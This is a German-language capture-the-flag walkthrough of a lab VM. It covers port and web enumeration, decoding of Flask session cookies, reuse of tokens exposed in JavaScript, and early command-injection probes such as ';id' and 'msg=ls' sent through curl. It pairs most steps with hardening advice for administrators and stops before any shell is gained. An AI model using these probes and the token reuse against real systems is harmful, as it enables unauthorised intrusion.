Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
Die Reconnaissance-Phase ist der erste und einer der wichtigsten Schritte in jedem Penetrationstest. Ziel ist es, so viele Informationen wie möglich über das Zielsystem zu sammeln. In diesem Fall beginne ich mit einem `arp-scan`, um aktive Hosts im lokalen Netzwerk zu identifizieren.
192.168.2.206
Analyse: Der Befehl `arp-scan -l` sendet ARP-Requests an alle möglichen IP-Adressen im lokalen Netzwerk. Die Ausgabe wird dann durch `grep "PCS"` gefiltert, was typischerweise auf "PCS Systemtechnik GmbH" hinweist, den Hersteller von VirtualBox Netzwerkkarten – ein starker Indikator für eine virtuelle Maschine. `awk '{print $1}'` extrahiert schließlich nur die IP-Adresse aus der gefilterten Zeile.
Bewertung: Dieser Schritt war erfolgreich und hat die IP-Adresse `192.168.2.206` als potenzielles Ziel identifiziert. Die Filterung auf "PCS" ist eine clevere Methode, um VirtualBox-VMs schnell zu erkennen, was in CTF-Szenarien häufig der Fall ist.
Empfehlung (Pentester): Bei `arp-scan` können auch andere Filter oder die gesamte Ausgabe nützlich sein, um mehr über die Geräte im Netzwerk zu erfahren (z.B. MAC-Adressen-Hersteller).
Empfehlung (Admin): Aus Admin-Sicht ist es wichtig zu wissen, welche Geräte sich im Netzwerk befinden. Regelmäßige Netzwerkscans und ein aktuelles Inventar sind hier hilfreich. ARP-Spoofing-Detection-Mechanismen können die Sicherheit erhöhen.
Nachdem die IP-Adresse des Ziels bekannt ist, trage ich diese zusammen mit einem Hostnamen in meine lokale `/etc/hosts`-Datei ein. Dies erleichtert den Zugriff auf Webdienste, falls diese über Hostnamen konfiguriert sind, und macht die Befehle im weiteren Verlauf lesbarer.
192.168.2.206 wmessage.hmv
Analyse: Der Befehl `vi /etc/hosts` öffnet die Hosts-Datei im Texteditor `vi`. Dort wurde der Eintrag `192.168.2.206 wmessage.hmv` hinzugefügt. Das Betriebssystem wird nun den Hostnamen `wmessage.hmv` auf die IP-Adresse `192.168.2.206` auflösen.
Bewertung: Ein Standardvorgehen, das die weitere Arbeit vereinfacht. Es antizipiert, dass die Webanwendung möglicherweise Hostname-basiert arbeitet oder dass Zertifikate auf einen bestimmten Hostnamen ausgestellt sein könnten.
Empfehlung (Pentester): Es ist nützlich, verschiedene gängige oder im Kontext vermutete Hostnamen (z.B. `dev.target.com`, `test.target.com`) auszuprobieren, falls die Anwendung nicht sofort auf die IP-Adresse reagiert oder unterschiedliche Inhalte pro Hostname bereitstellt (Virtual Hosting).
Empfehlung (Admin): Stellen Sie sicher, dass DNS-Einträge korrekt konfiguriert sind und interne Auflösungen wie erwartet funktionieren. Die Überwachung von Änderungen an der Hosts-Datei auf Endgeräten kann ein Indikator für verdächtige Aktivitäten sein, obwohl dies im Pentest-Kontext ein legitimer Schritt ist.
Der nächste Schritt ist ein detaillierter Portscan mit Nmap, um offene Ports, laufende Dienste und deren Versionen sowie das Betriebssystem des Ziels zu ermitteln. Ich verwende hier gängige Optionen für einen umfassenden Scan.
# Nmap 7.95 scan initiated Thu May 29 23:23:02 2025 as: nmap -sCV -A -T4 -p- wmessage.hmv Nmap scan report for wmessage.hmv (192.168.2.206) Host is up (0.00020s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 62:8e:95:58:1e:ee:94:d1:56:0e:e5:51:f5:45:38:43 (RSA) | 256 45:a8:7e:56:7f:df:b0:83:65:6c:88:68:19:a4:86:6c (ECDSA) |_ 256 bc:54:24:a6:0a:8b:6d:34:dc:a6:ab:80:98:ee:1f:f7 (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-server-header: Apache/2.4.54 (Debian) | http-title: Login |_Requested resource was /login?next=%2F MAC Address: 08:00:27:01:C7:00 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.20 ms wmessage.hmv (192.168.2.206) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] . Nmap done: 1 IP address (1 host up) scanned in 11.67 seconds
Analyse: Der Nmap-Befehl verwendet folgende Optionen:
-sCV: Führt Standard-Skriptscans (-sC) und Versionserkennung (-sV) durch.-A: Aktiviert die OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. Dies ist eine aggressive Option, die viele Informationen liefert.-T4: Setzt das Timing-Template auf "Aggressive", was den Scan beschleunigt, aber auch die Wahrscheinlichkeit erhöht, von Intrusion Detection Systems (IDS) erkannt zu werden.-p-: Scannt alle 65535 TCP-Ports.wmessage.hmv: Das Ziel, das wir zuvor in der `/etc/hosts`-Datei definiert haben.
- **Port 22 (SSH):** OpenSSH Version 8.4p1 (Debian). Dies ist ein möglicher Vektor für einen direkten Systemzugriff, falls Schwachstellen in dieser Version bekannt sind oder gültige Anmeldeinformationen erlangt werden können.
- **Port 80 (HTTP):** Apache httpd Version 2.4.54 (Debian). Die Webseite auf diesem Port hat den Titel "Login" und leitet auf
/login?next=%2Fweiter. Dies deutet auf eine Webanwendung mit Authentifizierung hin, die unser Hauptangriffsziel sein wird.
Bewertung: Der Nmap-Scan war sehr erfolgreich und hat uns klare Angriffspunkte geliefert: einen SSH-Dienst und einen HTTP-Dienst. Die Versionsinformationen sind wertvoll für die spätere Schwachstellenrecherche. Die Weiterleitung auf eine Login-Seite ist ein typisches Verhalten für viele Webanwendungen.
Empfehlung (Pentester): Für SSH könnte man Brute-Force-Angriffe mit gängigen Benutzernamen/Passwörtern oder spezifische Exploits für die OpenSSH-Version prüfen (sofern bekannt). Für den HTTP-Dienst ist eine detaillierte Web-Enumeration (Verzeichnisse, Dateien, Technologien) der nächste logische Schritt. UDP-Ports (-sU) könnten ebenfalls gescannt werden, obwohl dies oft zeitaufwändiger ist.
Empfehlung (Admin): Halten Sie alle Dienste, insbesondere SSH und Webserver, stets auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Beschränken Sie den Zugriff auf SSH, wenn möglich, auf bestimmte IP-Adressen (Firewall-Regeln). Für Webanwendungen sollten Sicherheits-Header (siehe spätere Nikto-Ergebnisse) implementiert und regelmäßige Sicherheitsaudits durchgeführt werden. Minimieren Sie die von Diensten preisgegebenen Versionsinformationen, um Angreifern weniger Anhaltspunkte zu geben.
Web Enumeration
Da Port 80 (HTTP) offen ist und eine Login-Seite anzeigt, konzentriere ich mich nun auf die Enumeration der Webanwendung. Zuerst prüfe ich mit `curl`, welche HTTP-Methoden erlaubt sind und ob es interessante Header gibt.
HTTP/1.1 200 OK
Date: Thu, 29 May 2025 17:23:40 GMT
Server: Apache/2.4.54 (Debian)
Allow: GET, OPTIONS, POST, HEAD
Content-Length: 0
Content-Type: httpd/unix-directory
Analyse: Der Befehl `curl -I -X OPTIONS http://wmessage.hmv` sendet eine `OPTIONS`-Anfrage an den Webserver und zeigt nur die Header der Antwort an (`-I`). Der Server antwortet mit `HTTP/1.1 200 OK` und listet im `Allow`-Header die erlaubten HTTP-Methoden auf: `GET, OPTIONS, POST, HEAD`.
Bewertung: Die Information über erlaubte Methoden ist nützlich. Es sind die Standardmethoden, die man meistens erwartet. Das Fehlen von z.B. `PUT` oder `DELETE` auf der Startseite ist normal, könnte aber auf spezifischen Unterpfaden anders aussehen. Der `Content-Type: httpd/unix-directory` ist interessant, da er normalerweise bei Verzeichnislistings erscheint, hier aber bei einer `OPTIONS`-Anfrage auf die Wurzel.
Empfehlung (Pentester): Man sollte `OPTIONS` auch auf entdeckten Unterverzeichnissen und Dateien ausführen, um zu sehen, ob dort andere Methoden erlaubt sind.
Empfehlung (Admin): Beschränken Sie die erlaubten HTTP-Methoden auf das Notwendigste. Wenn beispielsweise `POST` nur für bestimmte Endpunkte benötigt wird, sollte es nicht global erlaubt sein. Nicht benötigte Methoden sollten deaktiviert werden, um die Angriffsfläche zu reduzieren.
Ein `HEAD`-Request auf die Wurzel gibt uns weitere Informationen, insbesondere bezüglich Weiterleitungen und Cookies.
* Trying 192.168.2.206:80... * Connected to 192.168.2.206 (192.168.2.206) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.206 > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 302 FOUND < Date: Thu, 29 May 2025 17:23:49 GMT < Server: Apache/2.4.54 (Debian) < Content-Length: 217 < Location: /login?next=%2F < Vary: Cookie < Set-Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.aDiYJQ.nqkO0d_3WUSd74SuqVBBuE05_ck; HttpOnly; Path=/ < Content-Type: text/html; charset=utf-8 < * Connection #0 to host 192.168.2.206 left intact
Analyse: Der Befehl `curl -v http://192.168.2.206` (implizit ein `GET`-Request, aber der Output zeigt die Header-Interaktion, ähnlich einem `HEAD`-Request, wenn man die Option `-I` benutzt hätte oder wenn der Server wie hier direkt mit einem Redirect antwortet, ohne viel Body zu senden). Die Option `-v` (verbose) zeigt detaillierte Informationen über die Verbindung und die HTTP-Transaktion. Die Ausgabe bestätigt die Weiterleitung (`HTTP/1.1 302 FOUND`) zur Login-Seite (`Location: /login?next=%2F`). Besonders interessant ist der `Set-Cookie`-Header: `session=eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.aDiYJQ.nqkO0d_3WUSd74SuqVBBuE05_ck; HttpOnly; Path=/`. Dies ist ein Session-Cookie, das für die weitere Interaktion mit der Anwendung wichtig sein wird. Die Struktur des Cookie-Wertes `xxx.yyy.zzz` deutet stark auf ein JSON Web Token (JWT) hin. Das `HttpOnly`-Flag bedeutet, dass das Cookie nicht über JavaScript im Browser ausgelesen werden kann, was ein guter Schutz gegen XSS-Angriffe ist, die auf Cookie-Diebstahl abzielen.
Bewertung: Diese Information ist sehr wertvoll. Das Vorhandensein eines Session-Cookies, das wie ein JWT aussieht, eröffnet mögliche Angriffsvektoren, falls das JWT schwach signiert ist oder sensible Informationen im Payload enthält. Die Weiterleitung zur Login-Seite ist konsistent mit den Nmap-Ergebnissen.
Empfehlung (Pentester): Das JWT sollte unbedingt genauer untersucht werden (z.B. mit jwt.io oder dem `jwt_tool`), um seinen Inhalt zu dekodieren und die Signatur zu prüfen. Man sollte versuchen, sich zu registrieren oder einzuloggen, um zu sehen, wie sich das JWT verändert.
Empfehlung (Admin): Stellen Sie sicher, dass JWTs mit starken Algorithmen (z.B. RS256 oder ES256) und robusten Schlüsseln signiert werden. Vermeiden Sie die Speicherung sensibler Daten direkt im JWT-Payload. `HttpOnly` ist eine gute Maßnahme; `Secure`-Flag sollte ebenfalls gesetzt werden, wenn die Seite über HTTPS läuft. Session-Cookies sollten eine angemessene Ablaufzeit haben.
Nikto ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen und interessanten Dateien/Verzeichnissen sucht.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.206 + Target Hostname: 192.168.2.206 + Target Port: 80 + Start Time: 2025-05-29 23:23:51 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.54 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + Root page / redirects to: /login?next=%2F + No CGI Directories found (use '-C all' to force check all possible dirs) + OPTIONS: Allowed HTTP Methods: GET, OPTIONS, POST, HEAD . + /manual/: Web server manual found. + /manual/images/: Directory indexing found. + 8103 requests: 0 error(s) and 5 item(s) reported on remote host + End Time: 2025-05-29 23:24:17 (GMT2) (26 seconds) -----------------------
Analyse: Nikto hat mehrere interessante Punkte aufgedeckt:
- Fehlende Sicherheitsheader: `X-Frame-Options` (Schutz gegen Clickjacking) und `X-Content-Type-Options` (Schutz gegen MIME-Sniffing-Angriffe) sind nicht gesetzt. Dies sind häufige, aber wichtige Findings.
- Bestätigung der Weiterleitung und der erlaubten HTTP-Methoden.
- Fund des Apache-Serverhandbuchs unter `/manual/`. Dies kann Versionsinformationen und Details zur Serverkonfiguration preisgeben.
- Verzeichnisauflistung (Directory Indexing) unter `/manual/images/`. Dies ermöglicht es Angreifern, die Verzeichnisstruktur und potenziell sensible Dateien einzusehen.
Bewertung: Die von Nikto gemeldeten fehlenden Sicherheitsheader und das gefundene Serverhandbuch samt Verzeichnisauflistung sind klassische Schwachstellen bzw. Informationslecks, die behoben werden sollten. Sie stellen zwar nicht unbedingt einen direkten Weg zur Kompromittierung dar, erhöhen aber die Angriffsfläche und erleichtern dem Angreifer die Arbeit.
Empfehlung (Pentester): Das `/manual/`-Verzeichnis sollte genauer untersucht werden. Die Verzeichnisauflistung unter `/manual/images/` könnte interessante Dateien enthalten. Man sollte immer prüfen, ob Standard-Credentials für den Zugriff auf solche Bereiche existieren.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options: DENY` oder `SAMEORIGIN`; `X-Content-Type-Options: nosniff`). Entfernen oder beschränken Sie den Zugriff auf das Apache-Serverhandbuch in Produktivumgebungen. Deaktivieren Sie die Verzeichnisauflistung global oder für spezifische Verzeichnisse in der Apache-Konfiguration (z.B. mit `Options -Indexes`).
Gobuster wird verwendet, um Verzeichnisse und Dateien auf dem Webserver zu bruteforcen, die nicht direkt verlinkt sind. Ich nutze eine gängige Wortliste und erweitere die Suche um verschiedene Dateiendungen.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.206 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 503,404,403 (impliziert durch --no-error, explizit 404) [+] User Agent: gobuster/3.6 [+] Extensions: conf,desc,gz,docx,ELF,html,ln,bat,jpeg,svg,crt,json,doc,pl,png,xlsx,js.map,rar,icon,rpm,txt,db,phtml,deb,mod,exe,lib,eps,diff,pHtml,exp,xml,ps1,dll,pem,java,zip,xls,tar,pub,sql,pdf,c,cgi,csh,accdb,bak,config,aspx,php,mdb,asp,py,csv,raw,rtf,kdbx,elf,jpg,old,sh [+] Expanded: true [+] Timeout: 10s [+] Insecure SSL: true (durch -k) [+] Suppress errors: true (durch --no-error) =============================================================== Starting gobuster in directory enumeration mode =============================================================== /login (Status: 200) [Size: 2472] /user (Status: 302) [Size: 225] [--> /login?next=%2Fuser] /manual (Status: 301) [Size: 315] [--> http://192.168.2.206/manual/] /javascript (Status: 301) [Size: 319] [--> http://192.168.2.206/javascript/] /logout (Status: 302) [Size: 229] [--> /login?next=%2Flogout] ===============================================================
Analyse: Der Gobuster-Scan hat mehrere Pfade gefunden:
/login(Status 200): Die bereits bekannte Login-Seite./user(Status 302): Leitet ebenfalls zur Login-Seite weiter, deutet aber auf einen geschützten Bereich für Benutzer hin./manual(Status 301): Das von Nikto gefundene Apache-Handbuch./javascript(Status 301): Ein Verzeichnis, das potenziell JavaScript-Dateien enthält, die analysiert werden sollten./logout(Status 302): Ein Endpunkt zum Abmelden, der ebenfalls zur Login-Seite weiterleitet.
--expand ist nützlich, um bei Verzeichnisfunden direkt zu sehen, ob es sich um ein Verzeichnis handelt. Die große Anzahl an Erweiterungen (-x) erhöht die Chance, spezifische Dateitypen zu finden. -k ignoriert SSL-Fehler (hier nicht relevant, da HTTP) und --no-error unterdrückt Fehler wie Timeouts oder Verbindungsprobleme für einzelne Anfragen, was die Ausgabe sauberer hält.
Bewertung: Gobuster hat die bereits bekannten Pfade bestätigt und zusätzlich /user, /javascript und /logout identifiziert. Diese Pfade geben weitere Hinweise auf die Struktur und Funktionalität der Webanwendung. Besonders /javascript könnte clientseitigen Code enthalten, der analysiert werden sollte.
Empfehlung (Pentester): Jeder gefundene Pfad sollte manuell im Browser aufgerufen und untersucht werden. Insbesondere der Inhalt des /javascript-Verzeichnisses könnte interessant sein (z.B. clientseitige Logik, API-Endpunkte, versteckte Parameter). Man sollte auch versuchen, auf /user zuzugreifen, nachdem man sich erfolgreich authentifiziert hat.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen Dateien oder Verzeichnisse über das Web zugänglich sind. Implementieren Sie eine robuste Zugriffskontrolle für alle Bereiche der Anwendung. Überwachen Sie Webserver-Logs auf ungewöhnliche Zugriffsmuster oder Anfragen von automatisierten Scannern.
Der von `curl` gesetzte Cookie sah stark nach einem JSON Web Token (JWT) aus. Ich habe den ersten Teil (Header) des Tokens mit jwt.io dekodiert, um mehr über die Nachrichten zu erfahren, die die Anwendung dem Benutzer vor dem Login anzeigt.
Der dekodierte Header des initialen Session-Cookies (`session=eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIlBsZWFzZSBsb2cgaW4gdG8gYWNjZXNzIHRoaXMgcGFnZS4iXX1dfQ.aDiYJQ.nqkO0d_3WUSd74SuqVBBuE05_ck`) zeigt folgendes:
{
"_flashes": [
{
" t": [
"message",
"Please log in to access this page."
]
}
]
}
Analyse: Das Bild zeigt die Oberfläche von jwt.io, wo der erste Teil des JWT-Cookies eingefügt und dekodiert wurde. Der dekodierte JSON-Header enthält ein Feld `_flashes`. Dies ist ein gängiges Muster in Web-Frameworks (z.B. Flask in Python), um temporäre Nachrichten zu speichern, die dem Benutzer einmalig angezeigt werden (sogenannte "Flash Messages"). Hier enthält es die Nachricht "Please log in to access this page."
Bewertung: Dies bestätigt, dass das Cookie tatsächlich ein JWT ist und wie die Anwendung serverseitig generierte Nachrichten an den Client übermittelt, bevor dieser eingeloggt ist. Der Inhalt selbst ist nicht kritisch, aber die Bestätigung der JWT-Nutzung und des Framework-Musters ist wertvoll. Es zeigt auch, dass das Token selbst Informationen über den nicht-authentifizierten Zustand enthält.
Empfehlung (Pentester): Man sollte auch den Payload-Teil des JWTs dekodieren. Untersuchen, ob die Signatur des JWTs manipuliert werden kann (z.B. Algorithmus auf "none" setzen, Brute-Force des Geheimnisses, falls ein schwacher symmetrischer Algorithmus wie HS256 verwendet wird). Achten Sie darauf, wie sich das JWT nach einer erfolgreichen Authentifizierung ändert.
Empfehlung (Admin): Verwenden Sie starke Signaturalgorithmen (asymmetrisch bevorzugt, z.B. RS256) und schützen Sie den Signaturschlüssel sorgfältig. Speichern Sie keine unnötig sensiblen Daten in JWTs. Implementieren Sie Mechanismen zur Invalidierung von JWTs (z.B. Blacklisting). Setzen Sie angemessene Ablaufzeiten für JWTs.
Nach einer erfolgreichen Registrierung auf der Webseite habe ich ein neues JWT-Cookie erhalten. Ich habe dieses ebenfalls mit jwt.io dekodiert, um zu sehen, welche Informationen es enthält.
Initiales JWT nach Registrierung: eyJfZnJlc2giOmZhbHNlfQ.aDiZ_w.0RQ3RBt6sMX4rspbnfLIuYuEvEk Dekodierter Payload: { "_fresh": false }
Analyse: Das neue JWT nach der Registrierung ist `eyJfZnJlc2giOmZhbHNlfQ.aDiZ_w.0RQ3RBt6sMX4rspbnfLIuYuEvEk`. Der dekodierte Payload dieses Tokens ist sehr minimalistisch und enthält nur das Feld `"_fresh": false`. In Frameworks wie Flask kann dies darauf hinweisen, ob eine Session "frisch" ist (d.h., der Benutzer hat sich gerade erst authentifiziert) oder ob sie aus einem "Remember Me"-Cookie wiederhergestellt wurde. `false` deutet hier darauf hin, dass es sich um eine reguläre, aktive Session handelt.
Bewertung: Wiederum ist der Inhalt des Payloads nicht direkt kompromittierend, aber er gibt Einblick in die Funktionsweise des Session-Managements der Anwendung. Die Einfachheit des Payloads deutet darauf hin, dass die meisten Benutzerinformationen serverseitig gespeichert und über die Session-ID (die implizit im JWT enthalten sein kann oder serverseitig mit dem JWT verknüpft ist) abgerufen werden.
Empfehlung (Pentester): Testen Sie weiterhin verschiedene Aktionen in der Anwendung und beobachten Sie, wie sich das JWT ändert. Versuchen Sie, das `_fresh`-Flag (oder andere gefundene Flags) zu manipulieren und zu sehen, ob dies Auswirkungen auf die Anwendungslogik hat (obwohl dies ohne Kenntnis des Signaturschlüssels schwierig ist, wenn die Signatur korrekt validiert wird).
Empfehlung (Admin): Stellen Sie sicher, dass die Bedeutung und der Lebenszyklus von Flags wie `_fresh` gut dokumentiert und sicher implementiert sind. Serverseitige Validierung aller vom Client kommenden Daten, auch solcher, die aus JWT-Payloads stammen, ist entscheidend.
Bei der Untersuchung der Login-Seite mit den Entwickler-Tools des Browsers fiel auf, dass die URL einen `next` Parameter enthält: `http://192.168.2.206/login?next=%2F`. Dies ist ein typisches Muster, um Benutzer nach dem Login auf die ursprünglich angeforderte Seite weiterzuleiten.
Analyse: Das Bild zeigt die Netzwerkanalyse der Entwickler-Tools. Die Anfrage-URL für die Login-Seite ist deutlich als `http://192.168.2.206/login?next=%2F` zu erkennen. Der Parameter `next=%2F` bedeutet, dass der Benutzer nach erfolgreichem Login auf die Startseite (Wurzelverzeichnis `/`) weitergeleitet werden soll. Das `%2F` ist die URL-kodierte Form des `/`-Zeichens.
Bewertung: Solche Weiterleitungsparameter können anfällig für "Open Redirect"-Schwachstellen sein, wenn sie nicht korrekt validiert werden. Ein Angreifer könnte den Wert des `next`-Parameters so manipulieren, dass der Benutzer nach dem Login auf eine bösartige externe Webseite umgeleitet wird.
Empfehlung (Pentester): Testen Sie den `next`-Parameter auf Open-Redirect-Schwachstellen, indem Sie versuchen, externe URLs oder URLs mit unterschiedlichen Protokollen (z.B. `javascript:alert(1)`) einzufügen. Achten Sie auf URL-Kodierung.
Empfehlung (Admin): Validieren Sie den Wert des `next`-Parameters serverseitig streng. Erlauben Sie nur Weiterleitungen zu bekannten, internen Pfaden oder Domains (Whitelist-Ansatz). Kodieren Sie Benutzereingaben immer korrekt, bevor sie in URLs oder HTML verwendet werden.
Bei der weiteren Untersuchung der Webanwendung, insbesondere der geladenen JavaScript-Dateien, stieß ich auf interessante Tokens in `http://192.168.2.206/static/index.js`.
Gefunden in index.js: remember_token: "2|68d8a2961c36d15036bb645351f0c24c9f852909552c825322d081517c75373a9d8e7214db7727252dea9a5a8d088b5f73d52f4d9f751b010f3f645d54e0c1fe" session: .eJwlzjkOwkAMAMC_bE1he9d75DORT0GbkArxdyLRTjWfsucR57Ns7-OKR9lfXraCqDglqCENj1m5s1NWIJoszCYg4QnLHNXNoqtgXy18xJyg1brakDQQMaDszOnmtBq0TF-ioLO220XGwplEoRBoOQxyJJc7cp1x_DdUvj8zZzEs.aDibSw.vrJfajmtpT9THwxIbSrDtIVBp40
Die Entwickler-Tools zeigten auch alle geladenen Dateien und einen interessanten Websocket-Fehler, was darauf hindeutet, dass die Anwendung möglicherweise Websockets für Echtzeitkommunikation nutzen will, dies aber fehlschlägt. Die gefundenen Tokens (`remember_token` und `session`) sind extrem wichtig, da sie für die Aufrechterhaltung der Benutzersitzung verwendet werden.
Analyse: Im Quellcode der Datei `index.js` wurden zwei hartkodierte oder dynamisch eingefügte Token gefunden: ein `remember_token` und ein `session`-Cookie-Wert. Das `session`-Token ähnelt dem JWT, das wir bereits analysiert haben. Das `remember_token` hat ein anderes Format und dient typischerweise dazu, einen Benutzer über längere Zeiträume eingeloggt zu halten, auch nachdem der Browser geschlossen wurde. Das Bild der Entwickler-Tools untermauert, dass verschiedene Ressourcen geladen werden und ein "NO_ERROR_WEBSOCKET_CONNECTION_REFUSED" auftritt. Dies könnte auf eine unvollständige oder fehlerhafte Implementierung einer Websocket-Funktionalität hindeuten.
Bewertung: Das Vorhandensein dieser Tokens im JavaScript-Code ist potenziell kritisch, wenn sie statisch sind oder für andere Benutzer gelten. Wenn dies aktive Tokens sind, die im Client-Side-Code exponiert werden, könnten sie missbraucht werden, um die Session eines Benutzers zu übernehmen (Session Hijacking), falls ein Angreifer Zugriff auf diesen Code oder die Tokens erhält (z.B. durch XSS). Der Websocket-Fehler ist weniger kritisch, könnte aber auf eine ungenutzte oder fehlerhafte Funktion hinweisen.
Empfehlung (Pentester): Versuchen Sie, diese Tokens in eigenen Anfragen an den Server zu verwenden, um zu sehen, ob sie eine gültige Session etablieren. Untersuchen Sie, ob diese Tokens für alle Benutzer gleich sind oder benutzerspezifisch generiert werden. Prüfen Sie, ob das `remember_token` an anderer Stelle als Cookie gesetzt wird und ob es schwach ist.
Empfehlung (Admin): Session-Tokens und `remember_me`-Tokens sollten niemals direkt im clientseitigen JavaScript-Code hartkodiert oder ungeschützt exponiert werden. Sie sollten sicher als `HttpOnly`-Cookies übertragen und gespeichert werden. Wenn Websockets verwendet werden, stellen Sie sicher, dass die Implementierung sicher und korrekt ist. Entfernen Sie ungenutzten oder fehlerhaften Code.
Die Anwendung verfügt über eine Nachrichtenfunktion. Ich habe testweise einige Nachrichten gesendet, um die Funktionalität zu verstehen und mögliche Angriffspunkte zu identifizieren, wie z.B. die Verarbeitung von Benutzereingaben. Die Nachrichten `ben: id`, `ben: ;id` und `id` sind erste Versuche, eine Command Injection zu testen.
Analyse: Das Bild zeigt eine einfache Nachrichtenoberfläche. Meine Eingaben wie "ben: id" und "ben: ;id" werden im Nachrichtenverlauf angezeigt. Dies deutet darauf hin, dass die Eingaben zumindest teilweise so gespeichert und wiedergegeben werden, wie sie eingegeben wurden. Die Eingaben sind typische erste Versuche, eine Command Injection auszulösen, indem versucht wird, Systembefehle (`id`, `ls`) direkt oder durch Trennzeichen (`;`) in das Eingabefeld einzuschleusen.
Bewertung: Die direkte Anzeige der Eingaben ist noch kein Beweis für eine Schwachstelle, aber sie zeigt, dass die Eingaben verarbeitet werden. Die entscheidende Frage ist, wie diese Eingaben serverseitig behandelt werden, insbesondere wenn spezielle Zeichen oder Befehle enthalten sind.
Empfehlung (Pentester): Es sollten systematisch verschiedene Command-Injection-Payloads, HTML-Injection und XSS-Payloads getestet werden. Untersuchen Sie, wie die Nachrichtenanfragen im Hintergrund (z.B. per POST-Request) gesendet werden und ob die Parameter dort manipulierbar sind.
Empfehlung (Admin): Alle Benutzereingaben müssen serverseitig rigoros validiert und saniert werden. Verwenden Sie parametrisierte Abfragen für Datenbankinteraktionen und kontextbezogene Ausgabe-Kodierung, um Injection-Angriffe zu verhindern. Führen Sie keine Systembefehle basierend auf direkten Benutzereingaben aus.
Ich versuche nun, über `curl` eine POST-Anfrage mit dem Befehl `ls` im `msg`-Parameter zu senden. Zuerst als Query-Parameter in der URL. Die zuvor im JavaScript gefundenen Cookies (`session` und `remember_token`) werden mitgesendet, um eine authentifizierte Sitzung zu simulieren.
500 Internal Server ErrorInternal Server Error
The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.
Der Server antwortet mit einem `500 Internal Server Error`. Dies könnte daran liegen, dass der `msg`-Parameter im Body der POST-Anfrage erwartet wird und nicht als Query-Parameter in der URL.
Analyse: Die POST-Anfrage wurde mit dem Parameter `msg=ls` als Teil der URL gesendet (`http://192.168.2.206/?msg=ls`). Der Server reagierte mit einem 500-Fehler, was auf ein serverseitiges Problem hindeutet. Die Vermutung, dass POST-Daten im Body erwartet werden, ist plausibel. Viele Web-Frameworks trennen strikt zwischen Query-Parametern (für GET-Anfragen) und Body-Daten (für POST-Anfragen).
Bewertung: Der Fehler 500 ist unspezifisch, aber die Hypothese zur Parameterübergabe ist ein guter Ansatzpunkt. Es zeigt, dass der Server die Anfrage nicht wie erwartet verarbeiten konnte.
Empfehlung (Pentester): Wiederholen Sie die Anfrage und übergeben Sie den `msg`-Parameter im Body der POST-Anfrage (z.B. mit der `curl`-Option `-d 'msg=ls'`).
Empfehlung (Admin): Sorgen Sie für ein robustes Error-Handling in der Anwendung. Generische 500-Fehlerseiten sollten in Produktivumgebungen keine detaillierten Fehlermeldungen oder Stack-Traces an den Client senden. Loggen Sie Fehler serverseitig detailliert, um die Ursachenanalyse zu erleichtern.
Ich wiederhole den `curl`-Befehl, diesmal aber mit dem `msg`-Parameter im Body der POST-Anfrage, unter Verwendung der Option `-d`.
Execute a function when the user releases a key on the keyboard< template >< turbo-stream >
Analyse: Dieses Mal wurde der Parameter `msg=ls` korrekt im Body der POST-Anfrage mit `-d 'msg=ls'` gesendet. Die Antwort des Servers ist ein HTML-Fragment: `
Execute a function when the user releases a key on the keyboard< template >< turbo-stream >`. Dies ist keine direkte Ausgabe des `ls`-Befehls, aber es ist auch kein Fehler mehr. Die Antwort enthält HTML-Elemente (`template`, `turbo-stream`), die auf moderne Web-Frameworks hindeuten, die dynamische Seitenaktualisierungen durchführen (z.B. Ruby on Rails mit Hotwire/Turbo oder ähnliche Technologien). Es scheint, als ob die Eingabe irgendwo in die HTML-Antwort eingeflossen ist, aber nicht als Befehl ausgeführt wurde.
